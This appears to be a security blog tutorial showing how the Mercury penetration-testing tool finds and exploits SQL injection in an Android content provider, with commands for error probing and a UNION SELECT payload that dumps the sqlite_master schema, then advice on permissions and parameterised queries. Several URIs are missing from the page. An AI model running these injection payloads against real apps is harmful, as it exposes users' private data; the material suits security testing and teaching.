Android SQL injection with Mercury

Content providers are Android components that provide a standard interface for sharing data (i.e. content) between applications. A content provider can model content in a database, or be backed by the filesystem. Consumers of database backed content providers can perform queries equivalent to select, update, insert and delete. File backed content providers can provide access to files on the system Content providers use a URI addressing scheme similar to the url scheme model in iOS e.g:




The two main potential exposures that spring to mind are SQL injection in database backed content providers and directory traversal in file backed content providers. In this post we’ll have a play with SQL Injection thanks to the wonderful tool, mercury.

The heavy metal that poisoned the droid

Mercury is a really great tool for penetration testing Android applications written by the guys at MWR Labs. It’s pretty straightforward to use for anyone that’s used the command line interface to Metasploit and while it is possible to do everything Mercury does manually, it’s great to see tools like this that make Android exploitation more accessible to everyone. Installing and configuring mercury is left to the reader, but once you’re up and running on your device, you might want to take a look at the content provider scanner first before diving in here.

SQL Injection

For example, here is a SQL injection vulnerability in the LayerInfoProvider in

mercury> run scanner.provider.injection content://
Not Vulnerable:
No non-vulnerable URIs found.

Injection in Projection:

Injection in Selection:

Now that the scanner’s run, lets see what we can do with projection and solection in the LayerInfoProvider.

mercury> run app.provider.query --selection "'" content://
android.database.sqlite.SQLiteException: unrecognized token: "')" (code 1): , while compiling: SELECT * FROM LayerInfo WHERE (')
mercury> run app.provider.query --selection "foo" content://
android.database.sqlite.SQLiteException: no such column: foo (code 1): , while compiling: SELECT * FROM LayerInfo WHERE (foo)

Note the difference in exception between the first and second request.

Android uses sqlite as a database for content providers. Every database has an SQLITE_MASTER table contained therein. This table provides the names and SQL schema for all tables within the SQLite database. The SQLITE_MASTER table schema is as follows:

CREATE TABLE sqlite_master (
type TEXT,
name TEXT,
tbl_name TEXT,
rootpage INTEGER,
sql TEXT

Knowing this, we can now start to map out the database.

mercury> run app.provider.query --selection "1=1) union select type from sqlite_master where (1=1" content:// android.database.sqlite.SQLiteException: SELECTs to the left and right of UNION do not have the same number of result columns (code 1): , while compiling: SELECT * FROM LayerInfo WHERE (1=1) union select type from sqlite_master where (1=1)

After a bit of fiddling, we eventually get this:

mercury> run app.provider.query --selection "1=1) union select type,name,tbl_name,rootpage,sql from sqlite_master where (1=1" content://
| _id | layerId | layerDisplayName | isActive | isSearch |
| table | LayerInfo | LayerInfo | 4 | CREATE TABLE LayerInfo (_id integer primary key autoincrement, layerId string, layerDisplayName string not null, isActive boolean, isSearch boolean) |
| table | android_metadata | android_metadata | 3 | CREATE TABLE android_metadata (locale TEXT) |
| table | sqlite_sequence | sqlite_sequence | 5 | CREATE TABLE sqlite_sequence(name,seq) |


Obviously this isn’t a major issue in this case but for apps containing sensitive data, SQL injection is a real threat. Had this have been banking information we could’ve accessed this via the SQL injection method with a malicious or compromised application on an unrooted phone.

Avoiding SQL injection in Android apps

Content providers can use the android:grantUriPermissions attribute and FLAG_GRANT_READ_URI_PERMISSION and FLAG_GRANT_WRITE_URI_PERMISSION to lock down permissions in the intent that activates the component.

For database access itself, parameterized methods are preferable from a security perspective as these provide some protection against SQL injection. However, parameterized statements aren’t perfect, and as with web applications (or indeed any applications), developers are encouraged to check user-supplied (and in this case device-supplied) input for malicious content prior to processing.

Leave a Reply

Fill in your details below or click an icon to log in: Logo

You are commenting using your account. Log Out /  Change )

Google+ photo

You are commenting using your Google+ account. Log Out /  Change )

Twitter picture

You are commenting using your Twitter account. Log Out /  Change )

Facebook photo

You are commenting using your Facebook account. Log Out /  Change )


Connecting to %s